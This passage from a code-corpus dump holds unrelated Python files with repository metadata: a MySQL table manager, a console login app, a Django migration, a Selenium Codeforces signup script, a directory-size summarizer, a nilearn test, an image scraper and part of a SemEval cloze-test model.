IGNORE statement :return: Last inserted id if it is possible """ exclude_columns = exclude_columns or [] insert_prepare = [] insert_prepare_values = [] insert_prepare_params = [] update_prepare = [] for attribute_name in self.MODEL_CLASS.Meta.ATTRIBUTE_LIST: value = model_instance.__getattribute__(attribute_name) if (exclude_none_values and value is None) or attribute_name in exclude_columns: continue insert_prepare.append("`{}`".format(attribute_name)) insert_prepare_values.append("%s") insert_prepare_params.append(value) if use_on_duplicate_update_statement: update_prepare.append("`{0}` = VALUES(`{0}`)".format(attribute_name)) if use_on_duplicate_update_statement: sql = "INSERT INTO `{}` ({}) VALUES ({}) ON DUPLICATE KEY UPDATE {}".format( self.MODEL_CLASS.Meta.TABLE_NAME, ", ".join(insert_prepare), ", ".join(insert_prepare_values), ", ".join(update_prepare), ) elif use_insert_ignore_statement: sql = "INSERT IGNORE INTO `{}` ({}) VALUES ({})".format( self.MODEL_CLASS.Meta.TABLE_NAME, ", ".join(insert_prepare), ", ".join(insert_prepare_values) ) else: sql = "INSERT INTO `{}` ({}) VALUES ({})".format( self.MODEL_CLASS.Meta.TABLE_NAME, ", ".join(insert_prepare), ", ".join(insert_prepare_values) ) Logger.log.info("TableManagerBase.insert_one.sql", manager=self.__class__.__name__) result = self.dbi.execute(sql, insert_prepare_params) # set primary key value if ( result and len(self.MODEL_CLASS.Meta.PRIMARY_KEYS) == 1 and self.MODEL_CLASS.Meta.ATTRIBUTE_TYPES[self.MODEL_CLASS.Meta.PRIMARY_KEYS[0]] == int ): model_instance.__setattr__(self.MODEL_CLASS.Meta.PRIMARY_KEYS[0], result) Logger.log.info("TableManagerBase.insert_one.result", result=result, manager=self.__class__.__name__) return result def insert_one_bulk( self, model_instance: ModelBase, exclude_none_values: bool = False, exclude_columns: list = None, use_on_duplicate_update_statement: bool = False, use_insert_ignore_statement: bool = False, auto_flush: bool = True, ) -> int: """ Insert more records in one bulk. :param model_instance: Model instance :param exclude_none_values: You can exclude columns with None value from insert statement :param exclude_columns: You can exclude columns names from insert statement :param use_on_duplicate_update_statement: Use ON DUPLICATE KEY UPDATE statement :param use_insert_ignore_statement: Use INSERT IGNORE statement :param auto_flush: Auto flush bulks from buffer after N records (defined in self.bulk_insert_buffer_size) :return: Number of items in buffer """ exclude_columns = exclude_columns or [] insert_prepare = [] insert_prepare_values = [] insert_prepare_params = [] update_prepare = [] for attribute_name in self.MODEL_CLASS.Meta.ATTRIBUTE_LIST: value = model_instance.__getattribute__(attribute_name) if (exclude_none_values and value is None) or attribute_name in exclude_columns: continue insert_prepare.append("`{}`".format(attribute_name)) insert_prepare_values.append("%s") insert_prepare_params.append(value) if use_on_duplicate_update_statement: update_prepare.append("`{0}` = VALUES(`{0}`)".format(attribute_name)) if not self.bulk_insert_sql_statement: if use_on_duplicate_update_statement: self.bulk_insert_sql_statement = "INSERT INTO `{}` ({}) VALUES ({}) ON DUPLICATE KEY UPDATE {}".format( self.MODEL_CLASS.Meta.TABLE_NAME, ", ".join(insert_prepare), ", ".join(insert_prepare_values), ", ".join(update_prepare), ) elif use_insert_ignore_statement: self.bulk_insert_sql_statement = "INSERT IGNORE INTO `{}` ({}) VALUES ({})".format( self.MODEL_CLASS.Meta.TABLE_NAME, ", ".join(insert_prepare), ", ".join(insert_prepare_values) ) else: self.bulk_insert_sql_statement = "INSERT INTO `{}` ({}) VALUES ({})".format( self.MODEL_CLASS.Meta.TABLE_NAME, ", ".join(insert_prepare), ", ".join(insert_prepare_values) ) self.bulk_insert_values_buffer.append(insert_prepare_params) buffer_len = len(self.bulk_insert_values_buffer) if auto_flush and buffer_len >= self.bulk_insert_buffer_size: self.insert_bulk_flush() return buffer_len def insert_bulk_flush(self) -> int: """ Flush prepared inserts from buffer :return: Number of inserted rows """ result = None if self.bulk_insert_values_buffer: result = self.dbi.execute_many(self.bulk_insert_sql_statement, self.bulk_insert_values_buffer) Logger.log.info( "TableManagerBase.insert_one_bulk_flush.result", result=result, inserted_count=len(self.bulk_insert_values_buffer), manager=self.__class__.__name__, ) self.bulk_insert_sql_statement = "" self.bulk_insert_values_buffer = [] return result def delete_one(self, model_instance: ModelBase) -> int: """ Delete one row matching primary key condition. :param model_instance: Instance of model :return: Number of affected rows """ condition_prepare = self._prepare_primary_sql_condition() condition_prepare_params = self._prepare_primary_sql_condition_params(model_instance) sql_statement = "DELETE FROM `{}` WHERE {} LIMIT 1" sql = sql_statement.format(self.MODEL_CLASS.Meta.TABLE_NAME, condition_prepare) Logger.log.info("TableManagerBase.delete_one.sql", manager=self.__class__.__name__) result = self.dbi.execute(sql, condition_prepare_params) Logger.log.info(f"TableManagerBase.delete_one.result", result=result, manager=self.__class__.__name__) return result def delete_all( self, condition: str, condition_params: typing.Tuple = (), order_by: typing.Tuple = (), limit: int = 0 ) -> int: """ Delete all table rows matching condition. :param condition: SQL condition statement :param condition_params: SQL condition position params :param order_by: SQL order statement :param limit: SQL limit statement :return: Number of affected rows """ where_statement = f"WHERE {condition}" order_by_sql_format = ", ".join(order_by) order_by_statement = f"ORDER BY {order_by_sql_format}" if order_by else "" limit_statement = f"LIMIT {limit}" if limit else "" sql_statement = "DELETE FROM `{TABLE}` {WHERE} {ORDER_BY} {LIMIT}" sql = sql_statement.format( TABLE=self.MODEL_CLASS.Meta.TABLE_NAME, WHERE=where_statement, ORDER_BY=order_by_statement, LIMIT=limit_statement, ) Logger.log.info("TableManagerBase.delete_all.sql", manager=self.__class__.__name__) result = self.dbi.execute(sql, condition_params) Logger.log.info("TableManagerBase.delete_all.result", result=result, manager=self.__class__.__name__) return result

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0

null

0

1

0

null

0

1

62b99b8da2aecb88766819c7135ff9c55eef6434

1,808

py

Python

src/users/actions.py

josue0ghost/Python-and-MySQL-console-application

c82641c5ccaae3eb526decd2c96baa4457613a2a

[ "MIT" ]

null

src/users/actions.py

josue0ghost/Python-and-MySQL-console-application

c82641c5ccaae3eb526decd2c96baa4457613a2a

[ "MIT" ]

null

src/users/actions.py

josue0ghost/Python-and-MySQL-console-application

c82641c5ccaae3eb526decd2c96baa4457613a2a

[ "MIT" ]

null

import users.user as user import grades.actions as grade class Actions: def signup(self): print("Selected item: signup") name = input("Your name: ") lastname = input("Your last name: ") email = input("Your email: ") password = input("Choose a password: ") newUser = user.User(name, lastname, email, password) reg = newUser.register() if reg[0] >= 1: print(f"{reg[1].name}, you've been registered with email {reg[1].email}") else: print("Registration failed") def signin(self): try: email = input("Email: ") password = input("Password: ") existingUser = user.User('', '', email, password) login = existingUser.identify() # id | name | lastname | email | password | date if email == login[3]: print(f"Welcome, {login[1]}") self.mainMenu(login) except Exception as e: print(type(e)) print(type(e).__name__) print("Login failed") def mainMenu(self, user): print(""" Available options: - Create grade (create) - Show grades (show) - Delete grade (delete) - Log out (exit) """) action = input("What do you want to do?: ") gradeActions = grade.Actions() if action == "create": gradeActions.create(user) self.mainMenu(user) elif action == "show": gradeActions.show(user) self.mainMenu(user) elif action == "delete": gradeActions.delete(user) self.mainMenu(user) elif action == "exit": exit()

28.25

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0.499447

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1,808

4.994444

0.372222

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0.053393

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64

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0

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0.081633

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0.163265

0

null

0

null

0

1

0

1

62bafbcb01ba35806246e96f56398067276ef692

688

py

Python

topics/migrations/0001_initial.py

codingforentrepreneurs/Autogenerate-Django-Models-

95f3ffc2ad6714a02ea16b124ae075dd7ff218c2

[ "MIT" ]

28

2020-11-08T21:04:00.000Z

2021-09-29T06:56:11.000Z

topics/migrations/0001_initial.py

codingforentrepreneurs/Autogenerate-Django-Models-

95f3ffc2ad6714a02ea16b124ae075dd7ff218c2

[ "MIT" ]

null

topics/migrations/0001_initial.py

codingforentrepreneurs/Autogenerate-Django-Models-

95f3ffc2ad6714a02ea16b124ae075dd7ff218c2

[ "MIT" ]

9

2020-11-11T13:47:32.000Z

2021-08-24T11:31:53.000Z

# Generated by Django 3.1.3 on 2020-11-08 19:52 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Topics', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('tag', models.CharField(blank=True, max_length=120, null=True)), ('count', models.BigIntegerField(blank=True, null=True)), ('percent', models.DecimalField(blank=True, decimal_places=5, max_digits=10, null=True)), ], ), ]

28.666667

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0.59157

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688

5.346667

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0.067332

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0.276163

688

23

115

29.913043

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0.3125

0

null

0

1

0

null

0

1

62be0b337ff4bd9e1d305e934c2a552b0ef05ec1

791

py

Python

783-minimum-distance-between-bst-nodes/783-minimum-distance-between-bst-nodes.py

hyeseonko/LeetCode

48dfc93f1638e13041d8ce1420517a886abbdc77

[ "MIT" ]

2

2021-12-05T14:29:06.000Z

2022-01-01T05:46:13.000Z

783-minimum-distance-between-bst-nodes/783-minimum-distance-between-bst-nodes.py

hyeseonko/LeetCode

48dfc93f1638e13041d8ce1420517a886abbdc77

[ "MIT" ]

null

783-minimum-distance-between-bst-nodes/783-minimum-distance-between-bst-nodes.py

hyeseonko/LeetCode

48dfc93f1638e13041d8ce1420517a886abbdc77

[ "MIT" ]

null

# Definition for a binary tree node. # class TreeNode: # def __init__(self, val=0, left=None, right=None): # self.val = val # self.left = left # self.right = right class Solution: def minDiffInBST(self, root: Optional[TreeNode]) -> int: output=[] stack=[root] while(stack): cur = stack.pop(0) output.append(cur.val) if cur.left: stack.append(cur.left) if cur.right: stack.append(cur.right) sorted_output=sorted(output) diff = sorted_output[1]-sorted_output[0] for i in range(2,len(sorted_output)): if sorted_output[i]-sorted_output[i-1]<diff: diff=sorted_output[i]-sorted_output[i-1] return diff

34.391304

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0.558786

100

791

4.3

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0.251163

0.12093

0.088372

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0.324905

791

23

61

34.391304

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false

0

0.176471

0

null

1

0

null

0

1

62bf318fcce84f085eb558f2ffb4dc78820b46cc

3,399

py

Python

pexp/management/commands/p2cmd.py

bconstantin/django_polymorphic

2c47db8fcc284a92d2c9769ba503603fbea92660

[ "BSD-3-Clause" ]

27

2015-06-24T20:29:20.000Z

2021-04-18T15:38:15.000Z

pexp/management/commands/p2cmd.py

bconstantin/django_polymorphic

2c47db8fcc284a92d2c9769ba503603fbea92660

[ "BSD-3-Clause" ]

1

2015-10-04T14:34:26.000Z

pexp/management/commands/p2cmd.py

bconstantin/django_polymorphic

2c47db8fcc284a92d2c9769ba503603fbea92660

[ "BSD-3-Clause" ]

3

2015-11-10T21:36:10.000Z

2020-06-22T01:51:39.000Z

# -*- coding: utf-8 -*- """ This module is a scratchpad for general development, testing & debugging Well, even more so than pcmd.py. You best ignore p2cmd.py. """ import uuid from django.core.management.base import NoArgsCommand from django.db.models import connection from pprint import pprint import settings import time,sys from pexp.models import * def reset_queries(): connection.queries=[] def show_queries(): print; print 'QUERIES:',len(connection.queries); pprint(connection.queries); print; connection.queries=[] def print_timing(func, message='', iterations=1): def wrapper(*arg): results=[] reset_queries() for i in xrange(iterations): t1 = time.time() x = func(*arg) t2 = time.time() results.append((t2-t1)*1000.0) res_sum=0 for r in results: res_sum +=r median = res_sum / len(results) print '%s%-19s: %.4f ms, %i queries (%i times)' % ( message,func.func_name, res_sum, len(connection.queries), iterations ) sys.stdout.flush() return wrapper class Command(NoArgsCommand): help = "" def handle_noargs(self, **options): print 'polycmd - sqlite test db is stored in:',settings.SQLITE_DB_PATH print if False: ModelA.objects.all().delete() a=ModelA.objects.create(field1='A1') b=ModelB.objects.create(field1='B1', field2='B2') c=ModelC.objects.create(field1='C1', field2='C2', field3='C3') reset_queries() print ModelC.base_objects.all(); show_queries() if False: ModelA.objects.all().delete() for i in xrange(1000): a=ModelA.objects.create(field1=str(i%100)) b=ModelB.objects.create(field1=str(i%100), field2=str(i%200)) c=ModelC.objects.create(field1=str(i%100), field2=str(i%200), field3=str(i%300)) if i%100==0: print i f=print_timing(poly_sql_query,iterations=1000) f() f=print_timing(poly_sql_query2,iterations=1000) f() return nModelA.objects.all().delete() a=nModelA.objects.create(field1='A1') b=nModelB.objects.create(field1='B1', field2='B2') c=nModelC.objects.create(field1='C1', field2='C2', field3='C3') qs=ModelA.objects.raw("SELECT * from pexp_modela") for o in list(qs): print o from django.db import connection, transaction from random import Random rnd=Random() def poly_sql_query(): cursor = connection.cursor() cursor.execute(""" SELECT id, pexp_modela.field1, pexp_modelb.field2, pexp_modelc.field3 FROM pexp_modela LEFT OUTER JOIN pexp_modelb ON pexp_modela.id = pexp_modelb.modela_ptr_id LEFT OUTER JOIN pexp_modelc ON pexp_modelb.modela_ptr_id = pexp_modelc.modelb_ptr_id WHERE pexp_modela.field1=%i ORDER BY pexp_modela.id """ % rnd.randint(0,100) ) #row=cursor.fetchone() return def poly_sql_query2(): cursor = connection.cursor() cursor.execute(""" SELECT id, pexp_modela.field1 FROM pexp_modela WHERE pexp_modela.field1=%i ORDER BY pexp_modela.id """ % rnd.randint(0,100) ) #row=cursor.fetchone() return

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0.611356

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3,399

4.624146

0.323462

0.049261

0.084236

0.032512

0.361576

0.280788

0.239409

0.209852

0.173399

0

0.038585

0.26802

3,399

110

30.9

0.777331

0.018535

0

0.264368

0

0.202004

0.036643

0

null

0

0.103448

null

0.126437

0

null

0

null

0

1

0

1

62c3b75f8adcffa947ee4bcc6c76cec4ce476e9e

1,127

py

Python

src/aiographql/client/response.py

ehtec/aiographql-client

66b135ee08a1c4e3c3d25e63db91e7713a99501e

[ "MIT" ]

18

2019-12-08T23:38:21.000Z

2021-04-14T17:40:34.000Z

src/aiographql/client/response.py

ehtec/aiographql-client

66b135ee08a1c4e3c3d25e63db91e7713a99501e

[ "MIT" ]

134

2019-07-30T04:51:44.000Z

2021-05-24T07:07:02.000Z

src/aiographql/client/response.py

ehtec/aiographql-client

66b135ee08a1c4e3c3d25e63db91e7713a99501e

[ "MIT" ]

7

2019-09-26T10:14:58.000Z

2021-01-01T06:09:11.000Z

from dataclasses import dataclass, field from typing import Any, Dict, List from aiographql.client.error import GraphQLError from aiographql.client.request import GraphQLRequestContainer @dataclass(frozen=True) class GraphQLBaseResponse(GraphQLRequestContainer): json: Dict[str, Any] = field(default_factory=dict) @dataclass(frozen=True) class GraphQLResponse(GraphQLBaseResponse): """ GraphQL Response object wrapping response data and any errors. This object also contains the a copy of the :class:`GraphQLRequest` that produced this response. """ @property def errors(self) -> List[GraphQLError]: """ A list of :class:`GraphQLError` objects if server responded with query errors. """ return [GraphQLError.load(error) for error in self.json.get("errors", list())] @property def data(self) -> Dict[str, Any]: """The data payload the server responded with.""" return self.json.get("data", dict()) @property def query(self) -> str: """The query string used to produce this response.""" return self.request.query

31.305556

86

0.697427

134

1,127

5.858209

0.447761

0.042038

0.050955

0.061147

0

0.20142

1,127

35

87

32.2

0.872222

0.292813

0

0.277778

0

0.013441

0

1

0.166667

false

0

0.222222

0

0.722222

0

null

0

null

0

1

0

1

62c9b5e931b6417fe4d81185cc271efbd05d9b8d

1,266

py

Python

utils/loader.py

zhangcheng007/face_detection_base_on_mtcnn

7ac1890dca16784955911b9efd0fef2c8447b9cb

[ "MIT" ]

1

2017-10-20T06:47:22.000Z

utils/loader.py

zhangcheng007/face_detection_base_on_mtcnn

7ac1890dca16784955911b9efd0fef2c8447b9cb

[ "MIT" ]

null

utils/loader.py

zhangcheng007/face_detection_base_on_mtcnn

7ac1890dca16784955911b9efd0fef2c8447b9cb

[ "MIT" ]

null

import numpy as np import sys import cv2 sys.path.append("../") from utils.config import config class TestLoader: def __init__(self, imdb, batch_size=1, shuffle=False): self.imdb = imdb self.batch_size = batch_size self.shuffle = shuffle self.size = len(imdb)#num of data self.cur = 0 self.data = None self.label = None self.reset() self.get_batch() def reset(self): self.cur = 0 if self.shuffle: np.random.shuffle(self.imdb) def iter_next(self): return self.cur + self.batch_size <= self.size def __iter__(self): return self def __next__(self): return self.next() def next(self): if self.iter_next(): self.get_batch() self.cur += self.batch_size return self.data else: raise StopIteration def getindex(self): return self.cur / self.batch_size def getpad(self): if self.cur + self.batch_size > self.size: return self.cur + self.batch_size - self.size else: return 0 def get_batch(self): imdb = self.imdb[self.cur] im = cv2.imread(imdb) self.data = im

23.886792

58

0.562401

164

1,266

4.189024

0.268293

0.104803

0.113537

0.116448

0.218341

0.189229

0.098981

0

0.007186

0.340442

1,266

52

59

24.346154

0.815569

0.008689

0

0.136364

0

0.002392

0

1

0.204545

false

0

0.090909

0.477273

0

null

0

null

0

1

0

1

62cfcef9c0c1bac2152ebbbdc822957a7ae21154

3,185

py

Python

automated_codeforces_registration/auto_register.py

Asienwald/GCI-Fedora

378d70e97fb6fa57d127753d3bd3d6450e5a0381

[ "MIT" ]

null

automated_codeforces_registration/auto_register.py

Asienwald/GCI-Fedora

378d70e97fb6fa57d127753d3bd3d6450e5a0381

[ "MIT" ]

null

automated_codeforces_registration/auto_register.py

Asienwald/GCI-Fedora

378d70e97fb6fa57d127753d3bd3d6450e5a0381

[ "MIT" ]

null

from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC import datetime as dt import sys import getpass import re def start_registration(handle, email, pwd1, pwd2): print("Starting registration, browser opening shortly...\n") driver = webdriver.Chrome() URL_TO_CONNECT = "https://codeforces.com/register" driver.get(URL_TO_CONNECT) handle_input = driver.find_element_by_name("handle") email_input = driver.find_element_by_name("email") pwd1_input = driver.find_element_by_name("password") pwd2_input = driver.find_element_by_name("passwordConfirmation") handle_input.send_keys(handle) email_input.send_keys(email) pwd1_input.send_keys(pwd1) pwd2_input.send_keys(pwd2) form = driver.find_element_by_id("registerForm") form.submit() try: # wait for next page to load WebDriverWait(driver, 10).until(EC.url_changes(URL_TO_CONNECT)) current_datetime = dt.datetime.now() driver.save_screenshot(f"{current_datetime}.png") driver.close() print(f"Screenshot captured! Saved as {current_datetime}.png") print("Exiting...") sys.exit(1) except Exception: print("Session Timeout. Handle might already be taken.") print("Exiting...") driver.close() sys.exit(1) def main(): print(''' _________ .___ ___________ __________ .__ __ __ .__ \_ ___ \ ____ __| _/____\_ _____/__________ ____ ____ \______ \ ____ ____ |__| _______/ |_____________ _/ |_|__| ____ ____ / \ \/ / _ \ / __ |/ __ \| __)/ _ \_ __ \_/ ___\/ __ \ | _// __ \ / ___\| |/ ___/\ __\_ __ \__ \\ __\ |/ _ \ / \ \ \___( <_> ) /_/ \ ___/| \( <_> ) | \/\ \__\ ___/ | | \ ___// /_/ > |\___ \ | | | | \// __ \| | | ( <_> ) | \ \______ /\____/\____ |\___ >___ / \____/|__| \___ >___ > |____|_ /\___ >___ /|__/____ > |__| |__| (____ /__| |__|\____/|___| / \/ \/ \/ \/ \/ \/ \/ \/_____/ \/ \/ \/ ''') handle = input("Enter your username/handle to use: ") while True: email = input("Enter your email to use: ") if re.match('.+@{1}.+[.]{1}.+', email): break else: print("Please enter a valid email.\n") while True: pwd1 = getpass.getpass(prompt="Enter password: ") pwd2 = getpass.getpass(prompt="Enter password again: ") if pwd1 != pwd2: print("Passwords don't match.\n") elif not re.match("^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[!@#\$%\^&]).{5,}$", pwd1): # registration page checks for password strength print("Password must be >5 in length, have lowercase, uppercase, numbers and special characters.\n") else: break start_registration(handle, email, pwd1, pwd2) if __name__ == '__main__': main()

38.841463

149

0.546311

285

3,185

5.017544

0.410526

0.034965

0.059441

0.066434

0.174825

0.128671

0

0.010379

0.304239

3,185

81

150

39.320988

0.634928

0.02292

0

0.190476

0

0.063492

0.475716

0.031521

0

1

0.031746

false

0.111111

0

0.142857

0

null

0

null

0

1

0

1

62d4d2b9bbdb7c26c851c4cf1142dbfca5ebcb07

4,603

py

Python

dir-stats-summary.py

rbrt-weiler/dir-stats

1f9d1bccd9eef41016f2dcf8dca584e193414fc7

[ "Zlib" ]

null

dir-stats-summary.py

rbrt-weiler/dir-stats

1f9d1bccd9eef41016f2dcf8dca584e193414fc7

[ "Zlib" ]

null

dir-stats-summary.py

rbrt-weiler/dir-stats

1f9d1bccd9eef41016f2dcf8dca584e193414fc7

[ "Zlib" ]

null

#!/usr/bin/python # vim: set sw=4 sts=4 ts=8 et ft=python fenc=utf8 ff=unix tw=74 : # # SYNOPSIS # ======== # This script analyses an INI file created by dir-stats.py and displays # directories containing a certain amount of data. # # ARGUMENTS # ========= # Call the script without any parameters to see an unsage message. # # OUTPUT # ====== # The script will print an INI style list of directory names and byte # counts to stdout. # # HISTORY # ======= # 2008-Jan-22 rbrt-weiler # * Created the script. # import getopt import os.path import sys import time import ConfigParser ########################################################################## SCRIPT_VERSION = '1.0.0' opt_limit = 50000000 opt_style = 'win' ########################################################################## class MyRawConfigParser(ConfigParser.RawConfigParser): def optionxform(self, optionstr): return str(optionstr) ########################################################################## def main(): global opt_limit, opt_style try: opts, args = getopt.getopt(sys.argv[1:], 'hl:s:', [ 'help', 'limit=', 'style=' ]) except getopt.GetoptError: usage() sys.exit(1) for o, a in opts: if o in ('-h', '--help'): usage() sys.exit(1) if o in ('-l', '--limit'): opt_limit = int(a) if o in ('-s', '--style'): if a in ('win', 'unix'): opt_style = a else: usage() sys.exit(1) if 0 == len(args): usage() sys.exit(1) else: for arg in args: if not os.path.isfile(arg): print 'Error: "' + arg + '" is no file.' sys.exit(2) summarize(args) ########################################################################## def summarize(filenames): if 'win' == opt_style: cmt_char = ';' kv_sep = ' = ' else: cmt_char = '#' kv_sep = ': ' summary = { } print cmt_char + ' created ' + time.asctime() + ' by ' \ + 'dir-stats-summary v' + SCRIPT_VERSION print cmt_char + ' using a limit of ' + str(opt_limit) + ' bytes' for filename in filenames: cfg_parser = MyRawConfigParser() try: f_in = open(filename, 'r') except: print 'Error: Cannot read file "' + filename + '".' sys.exit(3) cfg_parser.readfp(f_in) f_in.close() sections = cfg_parser.sections() for section in sections: options = cfg_parser.options(section) for option in options: try: size = cfg_parser.getint(section, option) except ValueError: size = 0 (basedir, basename) = os.path.split(option) if summary.has_key(basedir): summary[basedir] = summary[basedir] + size else: summary[basedir] = size total_dirs = 0 total_size = 0 filename = os.path.basename(filename) dirs = summary.keys() dirs.sort() print print '[' + filename + ']' for dir in dirs: if summary[dir] >= opt_limit: print dir + kv_sep + str(summary[dir]) total_dirs = total_dirs + 1 total_size = total_size + summary[dir] print cmt_char + ' ' + filename + ': ' + str(total_dirs) \ + ' directories with ' + str(total_size) + ' bytes' cfg_parser = None summary = { } ########################################################################## def usage(): print 'dir-stats-summary v' + SCRIPT_VERSION + ' - released ' \ + 'under the Zlib license' print 'Usage: ' + os.path.basename(sys.argv[0]) + ' [options] ' \ + 'filename [...]' print print 'Options:' print ' -h, --help' print ' Display this usage message and exit.' print ' -l BYTES, --limit=BYTES' print ' Set the minimum number of bytes that triggers reporting ' print ' of a directory.' print ' The default limit is 50000000 bytes.' print ' -s STYLE, --style=STYLE' print ' Define the style of the output. Accepted values are ' \ + '"win" and "unix".' print ' The default value is "win".' ########################################################################## if '__main__' == __name__: main() sys.exit(0)

28.067073

74

0.473604

487

4,603

4.38193

0.35729

0.022962

0.022493

0.024367

0.041237

0.027179

0

0.014331

0.317836

4,603

163

75

28.239264

0.665287

0.101238

0

0.174312

0

0.17216

0

null

0

0.045872

null

0.192661

0

null

0

null

0

1

0

1

62dcdfc108fcc269a77defa004067921ebd5f696

1,067

py

Python

sammba/registration/tests/test_base.py

salma1601/sammba-mri

c3c79ed806a4e5ce3524bc6053bf0c3ff1444113

[ "CECILL-B" ]

null

sammba/registration/tests/test_base.py

salma1601/sammba-mri

c3c79ed806a4e5ce3524bc6053bf0c3ff1444113

[ "CECILL-B" ]

null

sammba/registration/tests/test_base.py

salma1601/sammba-mri

c3c79ed806a4e5ce3524bc6053bf0c3ff1444113

[ "CECILL-B" ]

null

import os from nose import with_setup from nose.tools import assert_true import nibabel from nilearn.datasets.tests import test_utils as tst from nilearn.image import index_img from sammba.registration import base from sammba import testing_data from nilearn._utils.niimg_conversions import _check_same_fov @with_setup(tst.setup_tmpdata, tst.teardown_tmpdata) def test_warp(): anat_file = os.path.join(os.path.dirname(testing_data.__file__), 'anat.nii.gz') func_file = os.path.join(os.path.dirname(testing_data.__file__), 'func.nii.gz') func_file0 = os.path.join(tst.tmpdir, 'mean_func.nii.gz') func_img0 = index_img(func_file, 0) func_img0.to_filename(func_file0) registered_anat_oblique_file, mat_file =\ base._warp(anat_file, func_file0, write_dir=tst.tmpdir, caching=False, verbose=False) assert_true(_check_same_fov(nibabel.load(registered_anat_oblique_file), func_img0)) assert_true(os.path.isfile(mat_file))

38.107143

75

0.709466

152

1,067

4.638158

0.388158

0.051064

0.042553

0.039716

0.119149

0

0.008245

0.204311

1,067

27

76

39.518519

0.822144

0

0.035614

0

0.125

1

0.041667

false

0

0.375

0

0.416667

0

null

0

null

0

1

0

1

62dd03d0d913944957c2612082f29f5c840f0d43

555

py

Python

crawling_image/get_image.py

Lee-JH-kor/Review_Project

5e604f2bcdceea23740759681bdc7e5d3a7670ca

[ "MIT" ]

null

crawling_image/get_image.py

Lee-JH-kor/Review_Project

5e604f2bcdceea23740759681bdc7e5d3a7670ca

[ "MIT" ]

null

crawling_image/get_image.py

Lee-JH-kor/Review_Project

5e604f2bcdceea23740759681bdc7e5d3a7670ca

[ "MIT" ]

1

2020-11-11T05:02:37.000Z

import urllib.request from bs4 import BeautifulSoup import matplotlib.pyplot as plt from PIL import Image import os def image_poster(title_address): url = f'{title_address}' req = urllib.request.Request(url) res = urllib.request.urlopen(url).read() soup = BeautifulSoup(res, 'html.parser') soup = soup.find("div", class_="poster") # img의 경로를 받아온다 imgUrl = soup.find("img")["src"] # urlretrieve는 다운로드 함수 # img.alt는 이미지 대체 텍스트 urllib.request.urlretrieve(imgUrl, soup.find("img")["alt"] + '.jpg') plt.show()

23.125

72

0.673874

76

555

4.868421

0.605263

0.140541

0.075676

0.091892

0

0.002227

0.190991

555

23

73

24.130435

0.821826

0.097297

0

0.102823

0

1

0.071429

false

0

0.357143

0

0.428571

0

null

0

null

0

1

0

1

62de74cf7251561058f563593dbf807c8c8593c6

16,049

py

Python

Nowruz_SemEval.py

mohammadmahdinoori/Nowruz-at-SemEval-2022-Task-7

d87bf033c3798ff707ba25ddffde8c46abec8bd4

[ "MIT" ]

2

2022-03-20T02:03:53.000Z

2022-03-21T19:44:54.000Z

Nowruz_SemEval.py

mohammadmahdinoori/Nowruz-at-SemEval-2022-Task-7

d87bf033c3798ff707ba25ddffde8c46abec8bd4

[ "MIT" ]

null

Nowruz_SemEval.py

mohammadmahdinoori/Nowruz-at-SemEval-2022-Task-7

d87bf033c3798ff707ba25ddffde8c46abec8bd4

[ "MIT" ]

null

# -*- coding: utf-8 -*- """Nowruz at SemEval 2022: Tackling Cloze Tests with Transformers and Ordinal Regression Automatically generated by Colaboratory. Original file is located at https://colab.research.google.com/drive/1RXkjBpzNJtc0WhhrKMjU-50rd5uSviX3 """ import torch import torch.nn as nn from torch.functional import F from datasets import Dataset import transformers as ts from transformers import AutoTokenizer , AutoModelForSequenceClassification from transformers import TrainingArguments, Trainer from transformers import DataCollatorWithPadding from transformers import create_optimizer from transformers.file_utils import ModelOutput from transformers.modeling_outputs import SequenceClassifierOutput from coral_pytorch.layers import CoralLayer from coral_pytorch.losses import coral_loss from coral_pytorch.dataset import levels_from_labelbatch from coral_pytorch.dataset import proba_to_label from dataclasses import dataclass from typing import Optional, Tuple import numpy as np import pandas as pd from scipy import stats import sys from data_loader import ( retrieve_instances_from_dataset, retrieve_labels_from_dataset_for_classification, retrieve_labels_from_dataset_for_ranking, write_predictions_to_file, ) """#Preparing Data""" def loadDataset(dataPath , labelPath=None , scoresPath=None): dataset = pd.read_csv(dataPath, sep="\t", quoting=3) ids , sentences , fillers = retrieve_instances_from_dataset(dataset) #Creating dictionaries to convert datas to Huggingface Dataset datasetDict = { "id": ids, "sentence": sentences, "filler": fillers, } labels = None if labelPath != None: labels = pd.read_csv(labelPath, sep="\t", header=None, names=["Id", "Label"]) labels = retrieve_labels_from_dataset_for_classification(labels) datasetDict["labels"] = labels scores = None if scoresPath != None: scores = pd.read_csv(scoresPath, sep="\t", header=None, names=["Id", "Label"]) scores = retrieve_labels_from_dataset_for_ranking(scores) datasetDict["scores"] = scores #Removing Periods if fillers appear at the end of the sentence (because if we don't period will be considered last word piece of the filler) for index , _ in enumerate(fillers): fillers[index].replace("." , "") #Creating Huggingface Datasets from Dictionaries dataset = Dataset.from_dict(datasetDict) return dataset """#Preprocessing""" def preprocessDataset(dataset , tokenizer): def addToDict(dict_1 , dict_2 , columns_1=[] , columns_2=["input_ids" , "attention_mask"]): for item_1 , item_2 in zip(columns_1 , columns_2): dict_1[item_1] = dict_2.pop(item_2) def mappingFunction(dataset): outputDict = {} cleanedSentence = dataset["sentence"].replace("\n" , " ").replace("(...)" , "").strip() sentenceWithFiller = cleanedSentence.replace("[MASK]" , dataset["filler"].strip()).strip() tokenized_sentence = tokenizer(sentenceWithFiller) addToDict(outputDict , tokenized_sentence , ["input_ids" , "attention_mask"]) #Getting the index of the last word piece of the filler if "cls_token" in tokenizer.special_tokens_map.keys(): filler_indecies = len(tokenizer(tokenizer.special_tokens_map["cls_token"] + " " + cleanedSentence.split("[MASK]")[0].strip() + " " + dataset["filler"].strip() , add_special_tokens=False)["input_ids"]) - 1 elif "bos_token" in tokenizer.special_tokens_map.keys(): filler_indecies = len(tokenizer(tokenizer.special_tokens_map["bos_token"] + " " + cleanedSentence.split("[MASK]")[0].strip() + " " + dataset["filler"].strip() , add_special_tokens=False)["input_ids"]) - 1 else: filler_indecies = len(tokenizer(cleanedSentence.split("[MASK]")[0].strip() + " " + dataset["filler"].strip() , add_special_tokens=False)["input_ids"]) - 1 outputDict["filler_indecies"] = filler_indecies return outputDict return dataset.map(mappingFunction , batched=False) """#Model Definition""" @dataclass class CustomOutput(ModelOutput): loss: Optional[torch.FloatTensor] = None logits: 